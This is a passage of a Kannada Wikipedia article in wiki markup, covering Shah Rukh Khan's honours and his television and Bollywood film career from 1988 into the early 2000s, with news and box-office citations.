ಆರ್ಟ್ಸ್‌ ಅಂಡ್‌ ಲಿಟರೇಚರ್‌) ಪ್ರಶಸ್ತಿಯನ್ನು ಅದೇ ವರ್ಷ ಅವರು ಪಡೆದರು.<ref>{{cite web |url=http://www.indiafm.com/news/2007/06/21/9619 |title=Shah Rukh Khan to be honoured by French Govt.}}</ref> == ೨೦೦೮ ರಲ್ಲಿ == * ಅಕ್ಟೋಬರ್ ೨೦೦೮ ರಲ್ಲಿ, [[ಮಲೇಷ್ಯಾ|ಮಲೇಷಿಯಾ]]ದ [[ಮಲಕ್ಕಾ]] ರಾಜ್ಯದ ಮುಖ್ಯಸ್ಥರಾದ [[ಯಾಂಗ್‌ ದಿ-ಪರ್ಟುವಾ ನೆಗೆರಿ|ಯಾಂಗ್‌ ದಿ/ಡಿ-ಪೆರ್ಟುವಾ ನೆಗೆರಿ]] [[ಮೊಹಮ್ಮದ್‌ ಖಲೀಲ್‌ ಯಾಕೂಬ್|ತುನ್‌ ಮೊಹಮ್ಮದ್‌ ಖಲೀಲ್‌ ಯಾಕೂಬ್‌]]ರಿಂದ ಖಾನ್‌ರವರು [[ಮಲಯ್‌ ಗೌರವಗಳು#ದತುಕ್‌ ೨|ದತುಕ್]] (ಬ್ರಿಟಿಷ್‌ ನೈಟ್‌ಹುಡ್‌ ಪದವಿಯ “ಸರ್‌” ಪದವಿಯಂತೆ) ಎಂಬ ಉಪಾಧಿಯೊಂದಿಗಿನ ''ದರ್ಜಾ ಮುಲಿಯಾ ಸೆರಿ ಮೆಲಕ'' ಎಂಬ ಗೌರವ ಪಡೆದರು. ಖಾನ್‌ರವರು ೨೦೦೧ ರಲ್ಲಿ ಆ ದೇಶದಲ್ಲಿ ''[[ಒನ್‌ ಟು ಕಾ ಫೋರ್|ಒನ್‌ ಟು ಕಾ ಫೋರ್‌]]'' ಚಿತ್ರದ ಚಿತ್ರೀಕರಣ ನಡೆಸಿ ಮಲಕ್ಕಾದ ಪ್ರವಾಸೋದ್ಯಮಕ್ಕೆ ಉತ್ತೇಜನ ನೀಡಿದುದಕ್ಕಾಗಿ" ಅವರನ್ನು ಗೌರವಿಸಲಾಗಿತ್ತು. ಈ ನಿರ್ಧಾರದ ವಿರುದ್ಧ ಕೆಲವರಿಂದ ಟೀಕಾಪ್ರಹಾರವೂ ಆಯಿತು.<ref>{{cite news|title= Shah Rukh to accept Malaysian Datukship in person|date=೨೦೦೮-೧೦-೨೧|publisher=Zee News|url=http://www.zeenews.com/articles.asp?aid=477810&sid=ENT&ssid=1|accessdate=೨೦೦೮-೧೦- ೨೩}}</ref> ಅವರು ೨೦೦೯ ರಲ್ಲಿ ಬ್ರಿಟನ್‌ ನ '[[ಬೆಡ್‌ಫೋರ್ಡ್‌ ವಿಶ್ವವಿದ್ಯಾಲಯ|ಬೆಡ್‌ಫೋರ್ಡ್‌ಷೈರ್ ವಿಶ್ವವಿದ್ಯಾಲಯ]]'ದಿಂದ ಕಲೆ ಮತ್ತು ಸಂಸ್ಕೃತಿಗಳ ಮೇಲಿನ 'ಗೌರವ ಡಾಕ್ಟರೇಟ್‌ ಪದವಿ' ಪಡೆದಿದ್ದಾರೆ.<ref>{{cite web|url=http://timesofindia.indiatimes.com/Entertainment/London-calling-Dr-Shah-Rukh/articleshow/4711866.cms|title=London calling Dr Shah Rukh!|archiveurl=https://web.archive.org/web/20090701185742/http://timesofindia.indiatimes.com/Entertainment/London-calling-Dr-Shah-Rukh/articleshow/4711866.cms|archivedate=2009-07-01|access-date=2009-10-29|url-status=live}}</ref> == ಚಿತ್ರರಂಗದ ವೃತ್ತಿ == ಖಾನ್‌ ವಿಖ್ಯಾತ ರಂಗನಿರ್ದೇಶಕ 'ಬ್ಯಾರ್ರಿ ಜಾನ್‌' ರ ಗರಡಿಯಲ್ಲಿ ದೆಹಲಿಯ ಥಿಯೇಟರ್‌ ಆಕ್ಷನ್‌ ಗ್ರೂಪ್‌ (TAG)ನಲ್ಲಿ ನಟನೆಯ ಅಭ್ಯಾಸ ನಡೆಸಿದರು. 2007ರಲ್ಲಿ, ಜಾನ್‌ ತಮ್ಮ ಮಾಜಿ ವಿದ್ಯಾರ್ಥಿಯ ಬಗ್ಗೆ ಹೀಗೆಂದರು, "ಶಾರುಖ್‌ರ ವೃತ್ತಿಜೀವನದ ಅಸಾಧಾರಣ ಯಶಸ್ವಿ ಬೆಳವಣಿಗೆ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಗೌರವ ಸ್ವತಃ ಸೂಪರ್‌ಸ್ಟಾರ್ ಅವರಿಗೇ ಸಲ್ಲಬೇಕು."<ref>{{cite web|url=http://www.hindustantimes.com/StoryPage/StoryPage.aspx?id=f9c017a9-918d-45bf-9162-f147e9fec513&MatchID1=4502&TeamID1=2&TeamID2=6&MatchType1=1&SeriesID1=1122&PrimaryID=4502&Headline='Theatre+is+at+an+all-time+low+in+Delhi'|title=Shahrukh's teacher gives him the credit|access-date=2009-10-29|archive-date=2007-09-30|archive-url=https://web.archive.org/web/20070930014712/http://www.hindustantimes.com/StoryPage/StoryPage.aspx?id=f9c017a9-918d-45bf-9162-f147e9fec513&MatchID1=4502&TeamID1=2&TeamID2=6&MatchType1=1&SeriesID1=1122&PrimaryID=4502&Headline='Theatre+is+at+an+all-time+low+in+Delhi'|url-status=dead}}</ref> ಖಾನ್‌ 1988ರಲ್ಲಿ ಕಿರುತೆರೆ ಸರಣಿ ''[[ಫೌಜಿ]]'' ಯಲ್ಲಿ, ಕಮಾಂಡೋ ಅಭಿಮನ್ಯು ರಾಯ್ ಪಾತ್ರದ ಮೂಲಕ ತಮ್ಮ ನಟನಾವೃತ್ತಿ ಆರಂಭಿಸಿದರು.<ref>{{cite web|url=http://www.mid-day.com/entertainment/television/2002/october/32887.htm|title=The camera chose Shah Rukh Khan}}</ref> ಅವರು ಇನ್ನೂ ಅನೇಕ ಕಿರುತೆರೆ ಸರಣಿಗಳಲ್ಲಿ ನಟಿಸುವುದನ್ನು ಮುಂದುವರೆಸಿದರು. ಸರ್ಕಸ್‌ ಪ್ರದರ್ಶನಕಾರರ ಜೀವನದ ಮೇಲೆ ಆಧಾರಿತವಾಗಿದ್ದ 1989ರಲ್ಲಿ ಪ್ರಸಾರವಾದ [[ಅಜೀಜ್‌ ಮಿರ್ಜಾ]]ರ ''[[ಸರ್ಕಸ್ (TV ಸರಣಿ)|ಸರ್ಕಸ್]]'' ಅದರಲ್ಲಿ ಹೆಚ್ಚು ಪ್ರಸಿದ್ಧಿ ಗಳಿಸಿತ್ತು.<ref>{{cite web|title=bbc.co.uk|url=http://news.bbc.co.uk/2/hi/entertainment/2204900.stm|work=Shahrukh goes global|accessdate=7 september|accessyear=2007}}</ref> ಅದೇ ವರ್ಷ, [[ಅರುಂಧತಿ ರಾಯ್‌]] ಅವರು ಬರೆದಿದ್ದ, ದೆಹಲಿ ವಿಶ್ವವಿದ್ಯಾಲಯದ ವಿದ್ಯಾರ್ಥಿಗಳ ಬದುಕಿನ ಮೇಲೆ ಆಧಾರಿತವಾಗಿದ್ದ [[ಕಿರುತೆರೆಗೆಂದು-ನಿರ್ಮಿತ|ಕಿರುತೆರೆಗೆಂದೇ-ನಿರ್ಮಿತ]] ಇಂಗ್ಲಿಷ್‌-ಭಾಷೆಯ ಚಿತ್ರ, ''[[ಇನ್‌ ವಿಚ್‌ ಆನ್ನಿ ಗಿವ್ಸ್‌ ಇಟ್‌ ದೋಸ್‌ ಒನ್ಸ್‌]]'' ನಲ್ಲಿ ಕಿರುಪಾತ್ರವೊಂದನ್ನು ಸಹಾ ಖಾನ್ ಮಾಡಿದ್ದರು. === ೧೯೯೦ರ ದಶಕ === ೧೯೯೧ ರಲ್ಲಿ ನವದೆಹಲಿಯಿಂದ [[ಮುಂಬಯಿ]]ಗೆ ಸ್ಥಳಾಂತರಗೊಂಡ ನಂತರ,<ref>{{cite web|url=http://www.time.com/time/asia/2004/heroes/hshah_rukh_khan.htm|title=Bollywood's Brightest Star}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ''[[ದೀವಾನಾ]]'' * (೧೯೯೨) ಚಿತ್ರದ ಮೂಲಕ ಖಾನ್ ಬಾಲಿವುಡ್‌ಗೆ ಪದಾರ್ಪಣೆ ಮಾಡಿದರು. ಆ ಚಲನಚಿತ್ರವು ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸು ಪಡೆದು ಬಾಲಿವುಡ್‌ನ ಅವರ ವೃತ್ತಿಜೀವನವನ್ನು ಆರಂಭಿಸಿತು.<ref>{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=198&catName=MTk5Ng==|title=Box Office 1992|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://archive.today/20121204183543/http://www.boxofficeindia.com/showProd.php?itemCat=198&catName=MTk5Ng==|archivedate=2012-12-04|url-status=live}}</ref> ಅವರ ಸಾಧನೆಯು [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಪುರುಷ ಪರಿಚಯ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ತಂದುಕೊಟ್ಟಿತು. ಅವರು ''[[ಮಾಯಾ ಮೇಮ್‌ಸಾಬ್‌]]'' , ಚಿತ್ರದಲ್ಲಿ ಪಾತ್ರ ವಹಿಸಿದಾಗ ಅದರಲ್ಲಿ ಅವರು "ಪ್ರಕಟ" ಲೈಂಗಿಕ ದೃಶ್ಯದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡ ಕಾರಣ ಕೆಲ ವಿವಾದಗಳಿಗೆ ಕಾರಣರಾದರು.<ref>{{cite web|publisher=''[[The Tribune]]''|author=Dhawan, M. L.|date=March 23, 2003|title=Year of sensitive, well-made films|url=http://www.tribuneindia.com/2003/20030323/spectrum/main6.htm|accessdate=2009-08-08}}</ref> == 'ಬಾಜಿಗರ್ ಚಿತ್ರ == ೧೯೯೩ ರಲ್ಲಿ, ಖಾನ್ ಅನುಕ್ರಮವಾಗಿ ಒತ್ತಾಯದಿಂದ ಹಿಂದೆ ಬೀಳುವ ಪ್ರೇಮಿ ಮತ್ತು ಕೊಲೆಗಾರನಾಗಿ ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸನ್ನು ಕಂಡ, ''[[ಡರ್‌]]'' ಮತ್ತು ''[[ಬಾಜಿಗರ್|ಬಾಜಿಗರ್‌]]'' ಚಿತ್ರಗಳಲ್ಲಿ ಖಳ ಪಾತ್ರಗಳಲ್ಲಿನ ಉತ್ತಮ ಸಾಧನೆಗಾಗಿ ಹೆಚ್ಚು ಪ್ರಸಿದ್ಧವಾದರು.<ref>{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=199&catName=MTk5Mw==|title=Box Office 1993|publisher=BoxOfficeIndia.Com|accessdate=2008-04-20|archiveurl=https://archive.today/20120721012618/http://www.boxofficeindia.com/showProd.php?itemCat=199&catName=MTk5Mw==|archivedate=2012-07-21|url-status=live}}</ref> ''ಡರ್‌'' ಚಿತ್ರವು ಪ್ರಖ್ಯಾತ ಚಿತ್ರನಿರ್ಮಾಪಕ [[ಯಶ್‌ ಛೋಪ್ರಾ]] ಮತ್ತು ಅವರ ಬಾಲಿವುಡ್‌ನ ಅತಿದೊಡ್ಡ ನಿರ್ಮಾಣ ಕಂಪೆನಿಯಾದ [[ಯಶ್‌ ರಾಜ್‌ ಫಿಲಂಸ್‌]]ನ ಲಾಂಛನದೊಂದಿಗಿನ ಪ್ರಥಮ ಸಹಯೋಗಕ್ಕೆ ಕಾರಣವಾಯಿತು. ಖಾನ್‌ರ ''ಬಾಜಿಗರ್'' , ತನ್ನ ಪ್ರೇಮಿಯನ್ನೇ ಕೊಲೆ ಮಾಡುವ ಸಂದೇಹಾತ್ಮಕ/ಇಬ್ಬಗೆ ವ್ಯಕ್ತಿತ್ವದ ಸೇಡುಗಾರನ ಪಾತ್ರದಲ್ಲಿ ಬಾಲಿವುಡ್‌ನ ಮಾದರಿ ಸೂತ್ರದ ಅನಿರೀಕ್ಷಿತ ಉಲ್ಲಂಘನೆಯಿಂದ ತನ್ನ ಭಾರತೀಯ ವೀಕ್ಷಕರನ್ನು ದಿಗ್ಭ್ರಮೆಗೊಳಿಸಿತು.<ref>{{cite web|url=http://specials.rediff.com/movies/2005/oct/18sld4.htm|title=Shah Rukh's Best Movies|publisher=Rediff.com|accessdate=2008-04-20}}</ref> ಆ ಚಿತ್ರದ ಉತ್ತಮ ನಟನಾ ಸಾಧನೆ ಅವರಿಗೆ ಪ್ರಥಮ [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ದೊರಕಿಸಿಕೊಟ್ಟಿತು. ಅದೇ ವರ್ಷ, [[ಕುಂದನ್‌ ಶಾಹ್‌]]ರ ''[[ಕಭೀ ಹಾ ಕಭೀ ನಾ]]'' , ಚಿತ್ರದ ಓರ್ವ ಯುವ ಸಂಗೀತಗಾರನ ಪಾತ್ರದಲ್ಲಿ ಖಾನ್ ನೀಡಿದ ಅಮೋಘ ಅಭಿನಯ ಅವರಿಗೆ [[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ ಫಿಲ್ಮ್‌ಫೇರ್ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ]]ಯನ್ನು ದೊರಕಿಸಿಕೊಟ್ಟಿತು. ಖಾನ್‌ರವರು ಕೂಡಾ ಈ ಚಿತ್ರವನ್ನು ತಾವು ನಟಿಸಿದ ಚಿತ್ರಗಳಲ್ಲೇ ಸಾರ್ವಕಾಲಿಕ ಪ್ರೀತಿಪಾತ್ರ ಚಿತ್ರವೆಂದು ಒಪ್ಪಿಕೊಳ್ಳುತ್ತಾರೆ.<ref>{{cite web|url=http://www.hindustantimes.com/StoryPage/StoryPage.aspx?id=d64ec412-a1cd-44ca-909f-84e8cb73447b&MatchID1=4567&TeamID1=6&TeamID2=1&MatchType1=2&SeriesID1=1145&PrimaryID=4567&Headline=iKabhi+Haan+Kabhi+Naa%2fi+is+special%3a+SRK|title=Kabhi Haan Kabhi Naa is very special, says Shahrukh Khan|access-date=2009-10-29|archive-date=2009-05-19|archive-url=https://web.archive.org/web/20090519002005/http://www.hindustantimes.com/StoryPage/StoryPage.aspx?id=d64ec412-a1cd-44ca-909f-84e8cb73447b&MatchID1=4567&TeamID1=6&TeamID2=1&MatchType1=2&SeriesID1=1145&PrimaryID=4567&Headline=iKabhi+Haan+Kabhi+Naa%2Fi+is+special%3A+SRK|url-status=dead}}</ref> 1994ರಲ್ಲಿ, ಖಾನ್ ಮತ್ತೊಮ್ಮೆ ಹಿಂಬಾಲಕ ಪ್ರೇಮಿ/ಮನೋರೋಗಿಯ ಪಾತ್ರದಲ್ಲಿ [[ಮಾಧುರಿ ದೀಕ್ಷಿತ್‌]]ರೊಂದಿಗೆ ''[[ಅಂಜಾಮ್|ಅಂಜಾಮ್‌]]'' ನಲ್ಲಿ ನಟಿಸಿದರು. ಚಿತ್ರವು ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸು ಗಳಿಸದೇ ಹೋದರೂ, ಖಾನ್‌ರ‌ ನಟನಾಚಾತುರ್ಯ ಅವರನ್ನು [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಾಯಕ ಪ್ರಶಸ್ತಿ|ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ಖಳನಟ ಪ್ರಶಸ್ತಿ]]ಗೆ ಭಾಜನರಾಗಿಸಿತು.<ref>{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=200&catName=MTk5NA==|title=Box Office 1994|publisher=BoxOfficeIndia.Com|accessdate=2008-04-20|archiveurl=https://web.archive.org/web/20130107074858/http://www.boxofficeindia.com/showProd.php?itemCat=200|archivedate=2013-01-07|url-status=dead}}</ref> == ೧೯೯೫ ರಲ್ಲಿ == ೧೯೯೫ ರಲ್ಲಿ, ಪ್ರಮುಖ ನಿರ್ಣಾಯಕ ಮತ್ತು ವಾಣಿಜ್ಯ ಯಶಸ್ಸು ಕಂಡ [[ಆದಿತ್ಯ ಛೋಪ್ರಾ]]ರ ಚೊಚ್ಚಲ ನಿರ್ದೇಶನದ ''[[ದಿಲ್‌ವಾಲೆ ದುಲ್ಹನಿಯಾ ಲೇ ಜಾಯೆಂಗೆ]]'' , ಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿ ಖಾನ್ ತಮ್ಮ ಎರಡನೇ ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು.<ref>{{cite web|url=http://www.boxofficeindia.com/cpages.php?pageName=all_time_earners|title=All Time Earners Inflation Adjusted (Figures in Ind Rs)|publisher=BoxOfficeIndia.com|accessdate=2008-01-10|archiveurl=https://archive.today/20120721131404/http://www.boxofficeindia.com/cpages.php?pageName=all_time_earners|archivedate=2012-07-21|url-status=live}}</ref> 2007ರಲ್ಲಿ, ಆ ಚಿತ್ರವು [[ಮುಂಬಯಿ]]ಯ [[ಚಿತ್ರಮಂದಿರ|ಚಿತ್ರಮಂದಿರಗಳಲ್ಲಿ]] ಹನ್ನೆರಡನೇ ವರ್ಷದ ಪ್ರದರ್ಶನಗಳನ್ನು ಕಂಡಿತು. ಅಷ್ಟು ಸಮಯದಲ್ಲಿ ಚಿತ್ರವು ಒಟ್ಟಾರೆಯಾಗಿ 12 [[1000000000 (ಸಂಖ್ಯೆ)|ದಶಲಕ್ಷ]] [[ರೂಪಾಯಿ]]ಗಳ ಆದಾಯವನ್ನು ಪಡೆದು ಭಾರತದ ಅತಿ ದೊಡ್ಡ ಪ್ರಚಂಡ ಯಶಸ್ವಿ ಚಿತ್ರಗಳಲ್ಲಿ ಒಂದೆನಿಸಿಕೊಂಡಿತು.<ref>{{cite web|work=planetbollywood.com|title=´DDLJ´ Enters The Thirteenth Year At The Theaters!|url=http://www.planetbollywood.com/displayArticle.php?id=011307064804|accessdate=14 January|accessyear=2007}}</ref> ಅದೇ ವರ್ಷದ ಮುಂಚಿನ ಭಾಗದಲ್ಲಿ ವರ್ಷದ ಎರಡನೇ ಅತಿದೊಡ್ಡ ಜನಪ್ರಿಯ ಚಿತ್ರವೆನಿಸಿದ [[ರಾಕೇಶ್‌ ರೋಷನ್‌/ರೋಶನ್‌|ರಾಕೇಶ್‌ ರೋಷನ್‌]]ರ ''[[ಕರಣ್‌ ಅರ್ಜುನ್‌]]'' ಚಿತ್ರದಲ್ಲಿ ಸಹಾ ಯಶಸ್ಸನ್ನು ಕಂಡುಕೊಂಡಿದ್ದರು. == ೧೯೯೬ ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಚಿತ್ರಗಳು ಅಷ್ಟು ಯಶಸ್ಸು ಕಾಣಲಿಲ್ಲ == ೧೯೯೬ ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಅವರ ಎಲ್ಲಾ ಚಿತ್ರಗಳು ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಯಶಸ್ಸನ್ನು ಕಾಣಲಿಲ್ಲವಾದ್ದರಿಂದ ಅದು ಖಾನ್‌ರಿಗೆ ನಿರಾಶಾದಾಯಕ ವರ್ಷವಾಗಿ ಪರಿಣಮಿಸಿತು.<ref>{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=202&catName=MTk5Ng==|title=Box Office 1996|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://archive.today/20120721102828/http://www.boxofficeindia.com/showProd.php?itemCat=202&catName=MTk5Ng==|archivedate=2012-07-21|url-status=live}}</ref> ಆದರೂ ನಂತರ ೧೯೯೭ ರಲ್ಲಿ ಅವರ ಯಶಸ್ಸಿನ ಪುನರಾಗಮನವಾಯಿತು. -- ವರ್ಷದ ಅತಿ ದೊಡ್ಡ ಯಶಸ್ಸುಗಳಲ್ಲಿ ಒಂದಾಗಿದ್ದ -- [[ಸುಭಾಷ್‌ ಘಾಯ್‌]]ರ ಸಾಮಾಜಿಕ ರೂಪಕ ''[[ಪರ್ದೇಸ್ (ಚಿತ್ರ)|ಪರ್ದೇಸ್‌]]'' ಮತ್ತು ಮಧ್ಯಮ ಯಶಸ್ಸನ್ನು ಕಂಡ [[ಅಜೀಜ್‌ ಮಿರ್ಜಾ]]ರ ಹಾಸ್ಯಚಿತ್ರ ''[[ಯಸ್‌ ಬಾಸ್‌]]'' ಗಳೊಂದಿಗೆ ಮತ್ತೆ ಯಶಸ್ಸನ್ನು ಕಂಡರು.<ref name="1997 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=203&catName=MTk5Ng==|title=Box Office 1997|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20110121001213/http://www.boxofficeindia.com/showProd.php?itemCat=203&catName=MTk5Ng==|archivedate=2011-01-21|url-status=dead}}</ref> [[ಯಶ್‌ ಛೋಪ್ರಾ]]ರ ನಿರ್ದೇಶನದಲ್ಲಿ ಅವರ ಎರಡನೇ ಯೋಜನೆಯಾದ, ''[[ದಿಲ್‌ ತೊ ಪಾಗಲ್‌ ಹೈ]]'' ವರ್ಷದ ಎರಡನೇ ಅತಿಹೆಚ್ಚು ಸಂಪಾದನೆಯ ಚಿತ್ರವಾದುದಲ್ಲದೇ, ತನ್ನ ಹೊಸ ನಟಿಯರಲ್ಲಿ ಒಬ್ಬಳನ್ನು ಪ್ರೇಮಿಸುವ ರಂಗ ನಿರ್ದೇಶಕನ ಪಾತ್ರಕ್ಕಾಗಿ ಅವರು ತಮ್ಮ ಮೂರನೇ [[ಫಿಲ್ಮ್‌ಫೇರ್ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿ]] ಗಳಿಸಿದರು.<ref name="1997 BO" /> == ೧೯೯೮ ರಲ್ಲಿ == ೧೯೯೮ ರಲ್ಲಿ, [[ಕರಣ್‌ ಜೋಹರ್|ಕರಣ್‌ ಜೋಹರ್‌]]ರ ಚೊಚ್ಚಲ ನಿರ್ದೇಶನದ ಹಾಗೂ ವರ್ಷದ ಅತಿ ದೊಡ್ಡ ಯಶಸ್ವಿ ಚಿತ್ರವೆನಿಸಿಕೊಂಡ ''[[ಕುಚ್‌ ಕುಚ್‌ ಹೋತಾ ಹೈ]]'' ನಲ್ಲಿ ಖಾನ್ ನಟಿಸಿದರು.<ref name="1998 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=204&catName=MTk5Ng==|title=Box Office 1998|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20080125141046/http://www.boxofficeindia.com/showProd.php?itemCat=204&catName=MTk5Ng==|archivedate=2008-01-25|url-status=dead}}</ref> ಅವರ ನಟನೆಯು ಅವರಿಗೆ ತಮ್ಮ ನಾಲ್ಕನೇ [[ಫಿಲ್ಮ್‌ಫೇರ್ ಪ್ರಶಸ್ತಿಗಳು|ಫಿಲ್ಮ್‌ಫೇರ್]]ನ ಅತ್ಯುತ್ತಮ ನಟ ಪ್ರಶಸ್ತಿಯನ್ನು ದೊರಕಿಸಿತು. [[ಮಣಿರತ್ನಂ]]ರ ''[[ದಿಲ್‌ ಸೇ]]'' ಚಿತ್ರದಲ್ಲಿನ ಅಭಿನಯಕ್ಕಾಗಿ ಅವರು ಗಮನಾರ್ಹ ಹೊಗಳಿಕೆಗಳನ್ನು ಪಡೆದರು. ಈ ಚಿತ್ರವು ಭಾರತೀಯ ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯಲ್ಲಿ ಉತ್ತಮ ಪ್ರತಿಕ್ರಿಯೆ ಪಡೆಯಲಿಲ್ಲವಾದರೂ, ಸಾಗರೋತ್ತರ ಪ್ರದೇಶಗಳಲ್ಲಿ ವಾಣಿಜ್ಯಿಕ ಯಶಸ್ಸನ್ನು ಪಡೆಯಿತು.<ref name="overseas">{{cite web|url=http://www.boxofficeindia.com/cpages.php?pageName=overseas_earners|title=Overseas Earnings (Figures in Ind Rs)|publisher=BoxOfficeIndia.Com|accessdate=2008-01-10|archiveurl=https://archive.is/20120525225821/http://www.boxofficeindia.com/cpages.php?pageName=overseas_earners|archivedate=2012-05-25|url-status=live}}</ref> == ೧೯೯೯ ರಲ್ಲಿ 'ಬಾದ್ ಷಾ,' ಬಿಡುಗಡೆಯಾಯಿತು == ೧೯೯೯ ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಖಾನ್‌ರ‌ ಏಕೈಕ ಚಿತ್ರ ''[[ಬಾದ್‌ಷಾ]]'' ವು, ಸಾಮಾನ್ಯ ಗಳಿಕೆಯನ್ನು ಮಾಡಿತು.<ref>{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=205&catName=MTk5Ng==|title=Box Office ೧೯೯೯ 1|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://web.archive.org/web/20120119050259/http://www.boxofficeindia.com/showProd.php?itemCat=205&catName=MTk5Ng%3D%3D|archivedate=2012-01-19|url-status=dead}}</ref> == ೨೦೦೦ ರ ದಶಕ == [[ಅಮಿತಾಭ್‌ ಬಚ್ಚನ್|ಅಮಿತಾಭ್‌ ಬಚ್ಚನ್‌]]ರು ಸಹನಟರಾಗಿದ್ದ [[ಆದಿತ್ಯ ಛೋಪ್ರಾ]]ರ ೨೦೦೦ನೇ ಇಸವಿಯ ಚಿತ್ರ, ''[[ಮೊಹಬ್ಬತೇ]]'' ಯೊಂದಿಗೆ ಖಾನ್‌ರ‌ ಯಶಸ್ಸು ಮುಂದುವರೆಯಿತು. ಅದು ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆಯನ್ನು ತುಂಬಿಸಿತಲ್ಲದೇ ಮಹಾವಿದ್ಯಾಲಯದ/ಕಾಲೇಜು ಶಿಕ್ಷಕರಾಗಿ ಖಾನ್‌ರ‌ ಅಭಿನಯ ಅವರಿಗೆ [[ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ ಫಿಲ್ಮ್‌ಫೇರ್ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ|ಅತ್ಯುತ್ತಮ ಸಾಧನೆಗಾಗಿಯ ಎರಡನೇ ಕ್ರಿಟಿಕ್ಸ್‌ ಪ್ರಶಸ್ತಿ]] ದೊರಕಿಸಿತು. [[ಮನ್ಸೂರ್‌ ಖಾನ್‌|ಮನ್ಸೂರ್ ಖಾನ್‌]]ರ‌, ಸಾಹಸ ಚಿತ್ರ ''[[ಜೋಷ್ (2000ರ ಚಿತ್ರ)|ಜೋಷ್‌‌]]'' ನಲ್ಲೂ ನಟಿಸಿದ್ದರು‌. ಗಲ್ಲಾ ಪೆಟ್ಟಿಗೆ ಯಶಸ್ಸನ್ನು ಗಳಿಸಿದ ಈ ಚಿತ್ರದಲ್ಲಿ ಖಾನ್‌ರು [[ಗೋವಾ]]ದ ಕ್ರೈಸ್ತ ರೌಡಿ ತಂಡದ ನಾಯಕನಾಗಿ ಹಾಗೂ [[ಐಶ್ವರ್ಯ ರೈ]]ಯವರು ಅವರ ಅವಳಿ ಸೋದರಿಯಾಗಿ ನಟಿಸಿದ್ದರು.<ref name="2000 BO">{{cite web|url=http://www.boxofficeindia.com/showProd.php?itemCat=206&catName=MjAwMA==|title=Box Office 2000|publisher=BoxOfficeIndia.Com|accessdate=2007-01-10|archiveurl=https://archive.today/20120720153731/http://www.boxofficeindia.com/showProd.php?itemCat=206&catName=MjAwMA==|archivedate=2012-07-20|url-status=live}}</ref> ಅದೇ ವರ್ಷದಲ್ಲಿ, ಖಾನ್ ತಮ್ಮದೇ ಆದ ಸ್ವಂತ ನಿರ್ಮಾಣಸಂಸ್ಥೆಯಾದ, ''ಡ್ರೀಮ್ಸ್‌ ಅನ್‌ಲಿಮಿಟೆಡ್‌'' ಅನ್ನು [[ಜೂಹಿ ಚಾವ್ಲಾ]]ರೊಂದಿಗೆ ಸೇರಿ ಸ್ಥಾಪಿಸಿದರು ([[ಶಾರುಖ್‌ ಖಾನ್‌#ನಿರ್ಮಾಪಕ|ಕೆಳಗೆ ನೋಡಿ]]). ಖಾನ್ ಮತ್ತು ಚಾವ್ಲಾ ಇಬ್ಬರೂ ತಮ್ಮ ನಿರ್ಮಾಣ ಸಂಸ್ಥೆಯ ಮೊದಲ ಚಿತ್ರವಾದ ''[[ಫಿರ್ ಬಿ ದಿಲ್‌ ಹೈ ಹಿಂದೂಸ್ತಾನಿ|ಫಿರ್ ಬಿ ದಿಲ್‌ ಹೈ ಹಿಂದೂಸ್ಥಾನಿ/ಹಿಂದೂಸ್ತಾನಿ]]'' ಯಲ್ಲಿ ನಟಿಸಿದ್ದರು.<ref name="2000 BO" /> [[ಕರಣ್‌ ಜೋಹರ್|ಕರಣ್‌ ಜೋಹರ್‌]]ರೊಂದಿಗಿನ ಅವರ ಸಹಯೋಗ ವರ್ಷದ ಎರಡನೇ ಹೆಚ್ಚಿನ ಯಶಸ್ಸು ಕಂಡ ಕುಟುಂಬ ರೂಪಕ ಚಿತ್ರವಾದ ''[[ಕಭೀ ಖುಷಿ ಕಭೀ ಗಮ್‌]]'' ನೊಂದಿಗೆ ಮುಂದುವರೆಯಿತು‌. ಮಹಾಪುರುಷ ಅಶೋಕನ ([[304 BC|೩೦೪ BC]]–[[232 BC|೨೩೨ 